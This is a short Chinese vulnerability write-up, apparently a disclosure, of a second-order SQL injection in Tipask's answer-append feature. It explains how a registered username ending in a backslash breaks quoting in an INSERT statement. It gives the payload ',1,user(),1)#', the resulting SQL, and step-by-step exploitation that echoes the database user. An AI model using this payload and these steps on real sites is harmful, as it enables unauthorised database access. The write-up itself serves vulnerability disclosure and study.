官方最新源码测试
在control中answer.php中
追加问题模块,
追问模块当中
$_ENV['answer']->append($answer['id'], $this->user['username'], $this->user['uid'], $this->post['content']);
其中$this->user['username'] 为从数据库当中取出来的值,未涉及过滤。
后面中$this->post['content']为可控的变量,即为评论内容。
跟踪该执行函数append,在model当中answer.class.php
可看到执行了一个insert sql语句
当其中我们控制$author即可,例如注册畸形用户名 test\ 或者 test'即可
当我们注册test\用户,content我们设置为 ,1,user(),1)#
最终执行语句如下:
INSERT INTO ask_answer_append(appendanswerid,answerid,author,authorid,content,time) VALUES (NULL,1,'test\’,4,’,1,user(),1)#aaaa’,1423503510)
执行如下
ask_answer_append(appendanswerid,answerid,author,authorid,content,time) VALUES (NULL,1,'test\’,4,’,1,user(),1)
即会再我们的追加问题当中直接回显root@localhost
利用步骤:
1、注册用户名为test\
2、编辑 http://localhost/tipask/?answer/append/1/1.html(需先提问,有人回答,才能追问)

截取该包,他会自动加上<p>标签,所以得去掉该<p>标签,然后发送即可
如上图。
3、直接回显内容
